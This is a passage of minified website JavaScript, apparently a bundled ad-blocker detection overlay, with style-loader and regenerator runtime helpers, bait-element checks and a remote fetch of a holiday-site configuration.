0;line-height:1.5;text-align:center;font-size:1em;font-family:inherit;color:inherit;overflow-wrap:break-word;font-weight:normal;font-style:normal;text-decoration:initial}div._1x7oe5p div._1tkdorm section p:last-of-type{margin:0 0 1.5em 0}div._1x7oe5p div._1tkdorm section.ndfh07{display:block}div._1x7oe5p div._1tkdorm section.ndfh07.gez19w{display:none}div._1x7oe5p div._1tkdorm section.ndfh07 a.q769eo._1h8hdqe{color:var(--_1h8hdqe)}div._1x7oe5p div._1tkdorm section.ndfh07 a.q769eo._1wo6gz5{text-decoration:var(--_1wo6gz5)}div._1x7oe5p div._1tkdorm section.ndfh07 a.q769eo.m19f8t:visited{color:var(--m19f8t)}div._1x7oe5p div._1tkdorm section.ndfh07 div._147ewri{display:block;margin:.75em;padding:0}div._1x7oe5p div._1tkdorm section.ndfh07 div._147ewri p._1ehkt64{max-width:80%;margin:0 auto;padding:0;font-size:.85em;color:inherit;font-style:normal;font-weight:normal;cursor:pointer}div._1x7oe5p div._1tkdorm section._1lq9b0z{display:block}div._1x7oe5p div._1tkdorm section._1lq9b0z.gez19w{display:none}div._1x7oe5p div._1tkdorm section._1lq9b0z h4.kt6pt5{color:inherit;text-align:initial;font-weight:normal;font-family:inherit;font-size:1.125em;margin:0 0 .5em .5em}div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc{display:flex;margin:1.5em 0}div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc ul.snp44k{max-height:300px;flex:2;list-style:none;overflow-y:auto;margin:0 1em 0 0;padding-inline-start:0}@media screen and (min-width: 608px){div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc ul.snp44k{flex:1;margin:0 2em 0 0}}div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc ul.snp44k li{padding:.75em;cursor:pointer;background:rgba(0,0,0,.05);font-weight:bold}div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc ul.snp44k li:hover{background:rgba(0,0,0,.075)}div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc ul.snp44k li.plelsp{color:var(--_1es64bu);background:var(--me7zje)}div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc div.m9fhjc{max-height:300px;overflow-y:auto;flex:3;display:flex;flex-direction:column;justify-content:space-between;text-align:initial}div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc div.m9fhjc ol._1v529iy{dis
101play:none;list-style-type:decimal;text-align:initial;padding:0;margin:0 2em;font-weight:normal}div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc div.m9fhjc ol._1v529iy.plelsp{display:block}div._1x7oe5p div._1tkdorm section._1lq9b0z div._15c9yzc div.m9fhjc p{margin:1em 0 0;text-align:inherit;font-style:italic}div._1x7oe5p div._1tkdorm section._1lq9b0z button.s4mudg{font-size:1em;text-transform:initial}div._1x7oe5p div._1tkdorm button._1kssuc{width:auto;height:auto;max-width:90%;cursor:pointer;display:inline-block;letter-spacing:normal;margin:.75em;opacity:1;outline:none;overflow-wrap:break-word;font-family:inherit;font-weight:normal;font-style:normal;text-decoration:initial;text-transform:uppercase;text-align:center;color:#fff;font-size:1.15em;padding:.75em 2em;padding-inline:2em;padding-block:.75em;line-height:normal;background:#40c28a;border:none;border-radius:.25em;box-shadow:none}div._1x7oe5p div._1tkdorm button._1kssuc:hover{filter:brightness(115%);box-shadow:none}div._1x7oe5p div._1tkdorm a._1h94ia9{height:50px;width:50px;position:absolute;bottom:5px;right:5px}div._1x7oe5p div._1tkdorm a._1h94ia9 img{position:initial;height:100%;width:100%;filter:drop-shadow(1px 1px 1px var(--_1vcjqx8))}',""]);const c=a},645:t=>{t.exports=function(t){var e=[];return e.toString=function(){return this.map((function(e){var n="",r=void 0!==e[5];return e[4]&&(n+="@supports (".concat(e[4],") {")),e[2]&&(n+="@media ".concat(e[2]," {")),r&&(n+="@layer".concat(e[5].length>0?" ".concat(e[5]):""," {")),n+=t(e),r&&(n+="}"),e[2]&&(n+="}"),e[4]&&(n+="}"),n})).join("")},e.i=function(t,n,r,o,i){"string"==typeof t&&(t=[[null,t,void 0]]);var a={};if(r)for(var c=0;c<this.length;c++){var s=this[c][0];null!=s&&(a[s]=!0)}for(var l=0;l<t.length;l++){var d=[].concat(t[l]);r&&a[d[0]]||(void 0!==i&&(void 0===d[5]||(d[1]="@layer".concat(d[5].length>0?" ".concat(d[5]):""," {").concat(d[1],"}")),d[5]=i),n&&(d[2]?(d[1]="@media ".concat(d[2]," {").concat(d[1],"}"),d[2]=n):d[2]=n),o&&(d[4]?(d[1]="@supports (".concat(d[4],") {").concat(d[1],"}"),d[4]=o):d[4]="".concat(o)),e.push(d))}},e}},81:t=>{t.exports=function(t){return t[1]}},379:t=>{var e=[];function n(t){for(var n=-1,r=0;r<e.length;r++)if(e[r].identifier===t){n=r;break}return n}function r(t,r){for(var i={},a=[],c=0;c<t.length;c++){var s=t[c],l=r.base?s[0]+r.base:s[0],d=i[l]||0,u="".concat(l," ").concat(d);i[l]=d+1;var f=n(u),p={css:s[1],media:s[2],sourceMap:s[3],supports:s[4],layer:s[5]};if(-1!==f)e[f].references++,e[f].updater(p);else{var h=o(p,r);r.byIndex=c,e.splice(c,0,{identifier:u,updater:h,references:1})}a.push(u)}return a}function o(t,e){var n=e.domAPI(e);n.update(t);return function(e){if(e){if(e.css===t.css&&e.media===t.media&&e.sourceMap===t.sourceMap&&e.supports===t.supports&&e.layer===t.layer)return;n.update(t=e)}else n.remove()}}t.exports=function(t,o){var i=r(t=t||[],o=o||{});return function(t){t=t||[];for(var a=0;a<i.length;a++){var c=n(i[a]);e[c].references--}for(var s=r(t,o),l=0;l<i.length;l++){var d=n(i[l]);0===e[d].references&&(e[d].updater(),e.splice(d,1))}i=s}}},569:t=>{var e={};t.exports=function(t,n){var r=function(t){if(void 0===e[t]){var n=document.querySelector(t);if(window.HTMLIFrameElement&&n instanceof window.HTMLIFrameElement)try{n=n.contentDocument.head}catch(t){n=null}e[t]=n}return e[t]}(t);if(!r)throw new Error("Couldn't find a style target. This probably means that the value for the 'insert' parameter is invalid.");r.appendChild(n)}},216:t=>{t.exports=function(t){var e=document.createElement("style");return t.setAttributes(e,t.attributes),t.insert(e,t.options),e}},565:(t,e,n)=>{t.exports=function(t){var e=n.nc;e&&t.setAttribute("nonce",e)}},795:t=>{t.exports=function(t){if("undefined"==typeof document)return{update:function(){},remove:function(){}};var e=t.insertStyleElement(t);return{update:function(n){!function(t,e,n){var r="";n.supports&&(r+="@supports (".concat(n.supports,") {")),n.media&&(r+="@media ".concat(n.media," {"));var o=void 0!==n.layer;o&&(r+="@layer".concat(n.layer.length>0?" ".concat(n.layer):""," {")),r+=n.css,o&&(r+="}"),n.media&&(r+="}"),n.supports&&(r+="}");var i=n.sourceMap;i&&"undefined"!=typeof btoa&&(r+=`\n/*# sourceMappingURL=data:application/json;base64,`.concat(btoa(unescape(encodeURIComponent(JSON.stringify(i))))," */")),e.styleTagTransform(r,t,e.options)}
101(e,t,n)},remove:function(){!function(t){if(null===t.parentNode)return!1;t.parentNode.removeChild(t)}(e)}}}},589:t=>{t.exports=function(t,e){if(e.styleSheet)e.styleSheet.cssText=t;else{for(;e.firstChild;)e.removeChild(e.firstChild);e.appendChild(document.createTextNode(t))}}}},e={};function n(r){var o=e[r];if(void 0!==o)return o.exports;var i=e[r]={id:r,exports:{}};return t[r](i,i.exports,n),i.exports}n.n=t=>{var e=t&&t.__esModule?()=>t.default:()=>t;return n.d(e,{a:e}),e},n.d=(t,e)=>{for(var r in e)n.o(e,r)&&!n.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:e[r]})},n.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),n.nc=void 0,(()=>{const t={randomUUID:"undefined"!=typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};let e;const r=new Uint8Array(16);function o(){if(!e&&(e="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!e))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return e(r)}const i=[];for(let t=0;t<256;++t)i.push((t+256).toString(16).slice(1));function a(t,e=0){return(i[t[e+0]]+i[t[e+1]]+i[t[e+2]]+i[t[e+3]]+"-"+i[t[e+4]]+i[t[e+5]]+"-"+i[t[e+6]]+i[t[e+7]]+"-"+i[t[e+8]]+i[t[e+9]]+"-"+i[t[e+10]]+i[t[e+11]]+i[t[e+12]]+i[t[e+13]]+i[t[e+14]]+i[t[e+15]]).toLowerCase()}const c=function(e,n,r){if(t.randomUUID&&!n&&!e)return t.randomUUID();const i=(e=e||{}).random||(e.rng||o)();if(i[6]=15&i[6]|64,i[8]=63&i[8]|128,n){r=r||0;for(let t=0;t<16;++t)n[r+t]=i[t];return n}return a(i)};var s=n(379),l=n.n(s),d=n(795),u=n.n(d),f=n(569),p=n.n(f),h=n(565),v=n.n(h),m=n(216),y=n.n(m),g=n(589),b=n.n(g),x=n(455),w={};w.styleTagTransform=b(),w.setAttributes=v(),w.insert=p().bind(null,"head"),w.domAPI=u(),w.insertStyleElement=y();l()(x.Z,w);x.Z&&x.Z.locals&&x.Z.locals;function k(t){return k="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},k(t)}function L(){L=function(){return e};var t,e={},n=Object.prototype,r=n.hasOwnProperty,o=Object.defineProperty||function(t,e,n){t[e]=n.value},i="function"==typeof Symbol?Symbol:{},a=i.iterator||"@@iterator",c=i.asyncIterator||"@@asyncIterator",s=i.toStringTag||"@@toStringTag";function l(t,e,n){return Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}),t[e]}try{l({},"")}catch(t){l=function(t,e,n){return t[e]=n}}function d(t,e,n,r){var i=e&&e.prototype instanceof y?e:y,a=Object.create(i.prototype),c=new T(r||[]);return o(a,"_invoke",{value:I(t,n,c)}),a}function u(t,e,n){try{return{type:"normal",arg:t.call(e,n)}}catch(t){return{type:"throw",arg:t}}}e.wrap=d;var f="suspendedStart",p="suspendedYield",h="executing",v="completed",m={};function y(){}function g(){}function b(){}var x={};l(x,a,(function(){return this}));var w=Object.getPrototypeOf,E=w&&w(w(O([])));E&&E!==n&&r.call(E,a)&&(x=E);var C=b.prototype=y.prototype=Object.create(x);function S(t){["next","throw","return"].forEach((function(e){l(t,e,(function(t){return this._invoke(e,t)}))}))}function A(t,e){function n(o,i,a,c){var s=u(t[o],t,i);if("throw"!==s.type){var l=s.arg,d=l.value;return d&&"object"==k(d)&&r.call(d,"__await")?e.resolve(d.__await).then((function(t){n("next",t,a,c)}),(function(t){n("throw",t,a,c)})):e.resolve(d).then((function(t){l.value=t,a(l)}),(function(t){return n("throw",t,a,c)}))}c(s.arg)}var i;o(this,"_invoke",{value:function(t,r){function o(){return new e((function(e,o){n(t,r,e,o)}))}return i=i?i.then(o,o):o()}})}function I(e,n,r){var o=f;return function(i,a){if(o===h)throw new Error("Generator is already running");if(o===v){if("throw"===i)throw a;return{value:t,done:!0}}for(r.method=i,r.arg=a;;){var c=r.delegate;if(c){var s=P(c,r);if(s){if(s===m)continue;return s}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if(o===f)throw o=v,r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);o=h;var l=u(e,n,r);if("normal"===l.type){if(o=r.done?v:p,l.arg===m)continue;return{value:l.arg,done:r.done}}"throw"===l.type&&(o=v,r.method="throw",r.arg=l.arg)}}}function P(e,n){var r=n.method,o=e.iterator[r];if(o===t)return n.delegate=null,"throw"===r&&e.iterator.return&&
vendor: 7,214 bytes, line 101
101(n.method="return",n.arg=t,P(e,n),"throw"===n.method)||"return"!==r&&(n.method="throw",n.arg=new TypeError("The iterator does not provide a '"+r+"' method")),m;var i=u(o,e.iterator,n.arg);if("throw"===i.type)return n.method="throw",n.arg=i.arg,n.delegate=null,m;var a=i.arg;return a?a.done?(n[e.resultName]=a.value,n.next=e.nextLoc,"return"!==n.method&&(n.method="next",n.arg=t),n.delegate=null,m):a:(n.method="throw",n.arg=new TypeError("iterator result is not an object"),n.delegate=null,m)}function Y(t){var e={tryLoc:t[0]};1 in t&&(e.catchLoc=t[1]),2 in t&&(e.finallyLoc=t[2],e.afterLoc=t[3]),this.tryEntries.push(e)}function _(t){var e=t.completion||{};e.type="normal",delete e.arg,t.completion=e}function T(t){this.tryEntries=[{tryLoc:"root"}],t.forEach(Y,this),this.reset(!0)}function O(e){if(e||""===e){var n=e[a];if(n)return n.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var o=-1,i=function n(){for(;++o<e.length;)if(r.call(e,o))return n.value=e[o],n.done=!1,n;return n.value=t,n.done=!0,n};return i.next=i}}throw new TypeError(k(e)+" is not iterable")}return g.prototype=b,o(C,"constructor",{value:b,configurable:!0}),o(b,"constructor",{value:g,configurable:!0}),g.displayName=l(b,s,"GeneratorFunction"),e.isGeneratorFunction=function(t){var e="function"==typeof t&&t.constructor;return!!e&&(e===g||"GeneratorFunction"===(e.displayName||e.name))},e.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,b):(t.__proto__=b,l(t,s,"GeneratorFunction")),t.prototype=Object.create(C),t},e.awrap=function(t){return{__await:t}},S(A.prototype),l(A.prototype,c,(function(){return this})),e.AsyncIterator=A,e.async=function(t,n,r,o,i){void 0===i&&(i=Promise);var a=new A(d(t,n,r,o),i);return e.isGeneratorFunction(n)?a:a.next().then((function(t){return t.done?t.value:a.next()}))},S(C),l(C,s,"Generator"),l(C,a,(function(){return this})),l(C,"toString",(function(){return"[object Generator]"})),e.keys=function(t){var e=Object(t),n=[];for(var r in e)n.push(r);return n.reverse(),function t(){for(;n.length;){var r=n.pop();if(r in e)return t.value=r,t.done=!1,t}return t.done=!0,t}},e.values=O,T.prototype={constructor:T,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=t,this.done=!1,this.delegate=null,this.method="next",this.arg=t,this.tryEntries.forEach(_),!e)for(var n in this)"t"===n.charAt(0)&&r.call(this,n)&&!isNaN(+n.slice(1))&&(this[n]=t)},stop:function(){this.done=!0;var t=this.tryEntries[0].completion;if("throw"===t.type)throw t.arg;return this.rval},dispatchException:function(e){if(this.done)throw e;var n=this;function o(r,o){return c.type="throw",c.arg=e,n.next=r,o&&(n.method="next",n.arg=t),!!o}for(var i=this.tryEntries.length-1;i>=0;--i){var a=this.tryEntries[i],c=a.completion;if("root"===a.tryLoc)return o("end");if(a.tryLoc<=this.prev){var s=r.call(a,"catchLoc"),l=r.call(a,"finallyLoc");if(s&&l){if(this.prev<a.catchLoc)return o(a.catchLoc,!0);if(this.prev<a.finallyLoc)return o(a.finallyLoc)}else if(s){if(this.prev<a.catchLoc)return o(a.catchLoc,!0)}else{if(!l)throw new Error("try statement without catch or finally");if(this.prev<a.finallyLoc)return o(a.finallyLoc)}}}},abrupt:function(t,e){for(var n=this.tryEntries.length-1;n>=0;--n){var o=this.tryEntries[n];if(o.tryLoc<=this.prev&&r.call(o,"finallyLoc")&&this.prev<o.finallyLoc){var i=o;break}}i&&("break"===t||"continue"===t)&&i.tryLoc<=e&&e<=i.finallyLoc&&(i=null);var a=i?i.completion:{};return a.type=t,a.arg=e,i?(this.method="next",this.next=i.finallyLoc,m):this.complete(a)},complete:function(t,e){if("throw"===t.type)throw t.arg;return"break"===t.type||"continue"===t.type?this.next=t.arg:"return"===t.type?(this.rval=this.arg=t.arg,this.method="return",this.next="end"):"normal"===t.type&&e&&(this.next=e),m},finish:function(t){for(var e=this.tryEntries.length-1;e>=0;--e){var n=this.tryEntries[e];if(n.finallyLoc===t)return this.complete(n.completion,n.afterLoc),_(n),m}},catch:function(t){for(var e=this.tryEntries.length-1;e>=0;--e){var n=this.tryEntries[e];if(n.tryLoc===t){var r=n.completion;if("throw"===r.type){var o=r.arg;_(n)}return o}}throw new Error("illegal catch attempt")},delegateYield:function(e,n,r){return this.delegate={iterator:O(e),resultName:n,nextLoc:r},"next"===this.method&&(this.arg=t),m}},e}function E(t,e,n,r,o,i,a){try{var c=t[i](a),s=c.value}catch(t){return void n(t)}c.done?e(s):Promise.resolve(s).then(r,o)}var C="ZnMtYWRiLWVycg",S=function(){var t,e=(t=L().mark((function t(){var e,n,r,o,i;return L().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(document.body){t.next=3;break}return t.next=3,new Promise((function(t){return document.addEventListener("DOMContentLoaded",t)}));case 3:for(e=["YWQ=","YmFubmVyLWFk","YmFubmVyX2Fk","YmFubmVyLWFkLWNvbnRhaW5lcg==","YWQtc2lkZXJhaWw=","c3RpY2t5YWRz","aW1wcnRudC1jbnQ="],(n=document.createElement("div")).textContent=Math.random().toString(),n.setAttribute(atob("ZGF0YS1mcmVlc3Rhci1hZA=="),"123"),r=0;r<e.length;r++)n.classList.add(atob(e[r]));if(n.style.display="block",document.body.appendChild(n),o=window.getComputedStyle(n),i=null==o?void 0:o.display,n.remove(),"none"!==i){t.next=15;break}throw new Error(C);case 15:case"end":return t.stop()}}),t)})),function(){var e=this,n=arguments;return new Promise((function(r,o){var i=t.apply(e,n);function a(t){E(i,r,o,a,c,"next",t)}function c(t){E(i,r,o,a,c,"throw",t)}a(void 0)}))});return function(){return e.apply(this,arguments)}}(),A=function(t){return new Promise((function(e,n){var r=document.createElement("script");try{r.src=t,r.addEventListener("load",(function(){e()})),r.addEventListener("error",(function(){n(C)})),document.head.appendChild(r)}catch(t){n(t)}finally{r.remove()}}))};function I(t){return I="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},I(t)}function P(){P=function(){return e};var t,e={},n=Object.prototype,r=n.hasOwnProperty,o=Object.defineProperty||function(t,e,n){t[e]=n.value},i="function"==typeof Symbol?Symbol:{},a=i.iterator||"@@iterator",c=i.asyncIterator||"@@asyncIterator",s=i.toStringTag||"@@toStringTag";function l(t,e,n){return Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}),t[e]}try{l({},"")}catch(t){l=function(t,e,n){return t[e]=n}}function d(t,e,n,r){var i=e&&e.prototype instanceof y?e:y,a=Object.create(i.prototype),c=new T(r||[]);return o(a,"_invoke",{value:S(t,n,c)}),a}function u(t,e,n){try{return{type:"normal",arg:t.call(e,n)}}catch(t){return{type:"throw",arg:t}}}e.wrap=d;var f="suspendedStart",p="suspendedYield",h="executing",v="completed",m={};function y(){}function g(){}function b(){}var x={};l(x,a,(function(){return this}));var w=Object.getPrototypeOf,k=w&&w(w(O([])));k&&k!==n&&r.call(k,a)&&(x=k);var L=b.prototype=y.prototype=Object.create(x);function E(t){["next","throw","return"].forEach((function(e){l(t,e,(function(t){return this._invoke(e,t)}))}))}function C(t,e){function n(o,i,a,c){var s=u(t[o],t,i);if("throw"!==s.type){var l=s.arg,d=l.value;return d&&"object"==I(d)&&r.call(d,"__await")?e.resolve(d.__await).then((function(t){n("next",t,a,c)}),(function(t){n("throw",t,a,c)}
101)):e.resolve(d).then((function(t){l.value=t,a(l)}),(function(t){return n("throw",t,a,c)}))}c(s.arg)}var i;o(this,"_invoke",{value:function(t,r){function o(){return new e((function(e,o){n(t,r,e,o)}))}return i=i?i.then(o,o):o()}})}function S(e,n,r){var o=f;return function(i,a){if(o===h)throw new Error("Generator is already running");if(o===v){if("throw"===i)throw a;return{value:t,done:!0}}for(r.method=i,r.arg=a;;){var c=r.delegate;if(c){var s=A(c,r);if(s){if(s===m)continue;return s}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if(o===f)throw o=v,r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);o=h;var l=u(e,n,r);if("normal"===l.type){if(o=r.done?v:p,l.arg===m)continue;return{value:l.arg,done:r.done}}"throw"===l.type&&(o=v,r.method="throw",r.arg=l.arg)}}}function A(e,n){var r=n.method,o=e.iterator[r];if(o===t)return n.delegate=null,"throw"===r&&e.iterator.return&&(n.method="return",n.arg=t,A(e,n),"throw"===n.method)||"return"!==r&&(n.method="throw",n.arg=new TypeError("The iterator does not provide a '"+r+"' method")),m;var i=u(o,e.iterator,n.arg);if("throw"===i.type)return n.method="throw",n.arg=i.arg,n.delegate=null,m;var a=i.arg;return a?a.done?(n[e.resultName]=a.value,n.next=e.nextLoc,"return"!==n.method&&(n.method="next",n.arg=t),n.delegate=null,m):a:(n.method="throw",n.arg=new TypeError("iterator result is not an object"),n.delegate=null,m)}function Y(t){var e={tryLoc:t[0]};1 in t&&(e.catchLoc=t[1]),2 in t&&(e.finallyLoc=t[2],e.afterLoc=t[3]),this.tryEntries.push(e)}function _(t){var e=t.completion||{};e.type="normal",delete e.arg,t.completion=e}function T(t){this.tryEntries=[{tryLoc:"root"}],t.forEach(Y,this),this.reset(!0)}function O(e){if(e||""===e){var n=e[a];if(n)return n.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var o=-1,i=function n(){for(;++o<e.length;)if(r.call(e,o))return n.value=e[o],n.done=!1,n;return n.value=t,n.done=!0,n};return i.next=i}}throw new TypeError(I(e)+" is not iterable")}return g.prototype=b,o(L,"constructor",{value:b,configurable:!0}),o(b,"constructor",{value:g,configurable:!0}),g.displayName=l(b,s,"GeneratorFunction"),e.isGeneratorFunction=function(t){var e="function"==typeof t&&t.constructor;return!!e&&(e===g||"GeneratorFunction"===(e.displayName||e.name))},e.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,b):(t.__proto__=b,l(t,s,"GeneratorFunction")),t.prototype=Object.create(L),t},e.awrap=function(t){return{__await:t}},E(C.prototype),l(C.prototype,c,(function(){return this})),e.AsyncIterator=C,e.async=function(t,n,r,o,i){void 0===i&&(i=Promise);var a=new C(d(t,n,r,o),i);return e.isGeneratorFunction(n)?a:a.next().then((function(t){return t.done?t.value:a.next()}))},E(L),l(L,s,"Generator"),l(L,a,(function(){return this})),l(L,"toString",(function(){return"[object Generator]"})),e.keys=function(t){var e=Object(t),n=[];for(var r in e)n.push(r);return n.reverse(),function t(){for(;n.length;){var r=n.pop();if(r in e)return t.value=r,t.done=!1,t}return t.done=!0,t}},e.values=O,T.prototype={constructor:T,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=t,this.done=!1,this.delegate=null,this.method="next",this.arg=t,this.tryEntries.forEach(_),!e)for(var n in this)"t"===n.charAt(0)&&r.call(this,n)&&!isNaN(+n.slice(1))&&(this[n]=t)},stop:function(){this.done=!0;var t=this.tryEntries[0].completion;if("throw"===t.type)throw t.arg;return this.rval},dispatchException:function(e){if(this.done)throw e;var n=this;function o(r,o){return c.type="throw",c.arg=e,n.next=r,o&&(n.method="next",n.arg=t),!!o}for(var i=this.tryEntries.length-1;i>=0;--i){var a=this.tryEntries[i],c=a.completion;if("root"===a.tryLoc)return o("end");if(a.tryLoc<=this.prev){var s=r.call(a,"catchLoc"),l=r.call(a,"finallyLoc");if(s&&l){if(this.prev<a.catchLoc)return o(a.catchLoc,!0);if(this.prev<a.finallyLoc)return o(a.finallyLoc)}else if(s){if(this.prev<a.catchLoc)return o(a.catchLoc,!0)}else{if(!l)throw new Error("try statement without catch or finally");if(this.prev<a.finallyLoc)return o(a.finallyLoc)}}}},abrupt:function(t,e){for(var n=this.tryEntries.length-1;n>=0;--n){var o=this.tryEntries[n];if(o.tryLoc<=this.prev&&r.call(o,"finallyLoc")&&this.prev<o.finallyLoc){var i=o;break}}i&&("break"===t||"continue"===t)&&i.tryLoc<=e&&e<=i.finallyLoc&&(i=null);var a=i?i.completion:{};return a.type=t,a.arg=e,i?(this.method="next",this.next=i.finallyLoc,m):this.complete(a)},complete:function(t,e){if("throw"===t.type)throw t.arg;return"break"===t.type||"continue"===t.type?this.next=t.arg:"return"===t.type?(this.rval=this.arg=t.arg,this.method="return",this.next="end"):"normal"===t.type&&e&&(this.next=e),m},finish:function(t){for(var e=this.tryEntries.length-1;e>=0;--e){var n=this.tryEntries[e];if(n.finallyLoc===t)return this.complete(n.completion,n.afterLoc),_(n),m}},catch:function(t){for(var e=this.tryEntries.length-1;e>=0;--e){var n=this.tryEntries[e];if(n.tryLoc===t){var r=n.completion;if("throw"===r.type){var o=r.arg;_(n)}return o}}throw new Error("illegal catch attempt")},delegateYield:function(e,n,r){return this.delegate={iterator:O(e),resultName:n,nextLoc:r},"next"===this.method&&(this.arg=t),m}},e}function Y(t,e,n,r,o,i,a){try{var c=t[i](a),s=c.value}catch(t){return void n(t)}c.done?e(s):Promise.resolve(s).then(r,o)}function _(t){return function(){var e=this,n=arguments;return new Promise((function(r,o){var i=t.apply(e,n);function a(t){Y(i,r,o,a,c,"next",t)}function c(t){Y(i,r,o,a,c,"throw",t)}a(void 0)}))}}function T(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,(o=r.key,i=void 0,i=function(t,e){if("object"!==I(t)||null===t)return t;var n=t[Symbol.toPrimitive];if(void 0!==n){var r=n.call(t,e||"default");if("object"!==I(r))return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===e?String:Number)(t)}(o,"string"),"symbol"===I(i)?i:String(i)),r)}var o,i}var O=function(){function t(e){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t),this.config=null,this.langCode=null,this.languages=this.getUserPreferredLanguages(e)}var e,n,r,o,i,a;return e=t,n=[{key:"init",value:(a=_(P().mark((function t(){return P().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,this.fetchConfig();case 2:this.config=t.sent,null!==this.config&&(this.langCode=this.getFirstSupportedLanguage(this.languages),this.observe());case 4:case"end":return t.stop()}}),t,this)}))),function(){return a.apply(this,arguments)})},{key:"fetchConfig",value:(i=_(P().mark((function t(){var e,n,r,o,i,a;return P().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return n=(e=["Y29uZmlnLmNvbnRlbnQtc2V0dGluZ3MuY29t","Y29uZmlnLnNpdGUtY29uZmlnLmNvbQ==","29uZmlnLmZyZmlndXJlcy5jb20="]).length-1,r=Number.isNaN(Number(localStorage.getItem("fs.cdi")))?0:Number(localStorage.getItem("fs.cdi")),o=Number.isNaN(Number(localStorage.getItem("fs.cfc")))?0:Number(localStorage.getItem("fs.cfc")),i=atob(e[r]),a="https://".concat(i,"/publicholidays-jp.json"),t.prev=6,t.next=9,fetch(a);case 9:return t.abrupt("return",t.sent.json());case 12:return t.prev=12,t.t0=t.catch(6),++o>=3&&(o=0,r++),r>n&&(r=0),t.abrupt("return",null);case 18:return t.prev=18,localStorage.setItem("fs.cdi",r),localStorage.setItem("fs.cfc",o),t.finish(18);case 22:case"end":return t.stop()}}),t,null,[[6,12,18,22]])}))),function(){return i.apply(this,arguments)})},{key:"killScroll",value:function(t){if(t.isScrollDisabled){this.existingOverflow=document.body.style.overflow,document.body.style.overflow="hidden";var e=window.pageYOffset||document.documentElement.scrollTop,n=window.pageXOffset||document.documentElement.scrollLeft;document.body.style.top="-".concat(e,"px"),document.body.style.left="-".concat(n,"px"),window.onscroll=function(){window.scrollTo(n,e)}}}},{key:"reviveScroll",value:function(){document.body.style.overflow=this.existingOverflow||"",window.onscroll=function(){}}},{key:"getUserPreferredLanguages",value:function(t){var e=t.languages,n=t.language,r=void 0===e?[n]:e;if(r)return r.map((function(t){var e=t.trim().toLowerCase();if(!e.includes("zh"))return e.split(/-|_/)[0];var n=e.split(/-|_/)[1];return"zh"===e||["hans","cn","sg"].includes(n)?"zh":["hant","hk","mo","tw"].includes(n)?"zh-hant":void 0}))}},{key:"getFirstSupportedLanguage",value:function(t){var e=this,n=["title","paragraphOne","buttonText"],r=t.find((function(t){return n.every((function(n){return!!e.config[n][t]}))}));return void 0!==r?r:"en"}},{key:"getLocalizedTextContent",value:function(t,e){var n,r=arguments.length>2&&void 0!==arguments[2]&&arguments[2],o=t[e];if(void 0===o)throw new Error("Config text not found for text key ".concat(e));return r?null!==(n=o[this.langCode])&&void 0!==n?n:o.en:o[this.langCode]}},{key:"getPixelString",value:function(t){return"number"==typeof t?"".concat(t,"px"):null}},{key:"pickContrastingColorValue",value:function(t,e,n){var r=t.substring(1,7);return.299*parseInt(r.substring(0,2),16)+.587*parseInt(r.substring(2,4),16)+.114*parseInt(r.substring(4,6),16)>=128?e:n}},{key:"generateOverlay",value:function(t){var e=this,n=t.siteId,r=t.isCloseEnabled,o=t.dismissDuration,i=t.dismissDurationPv,a=t.logoUrl,c=t.font,
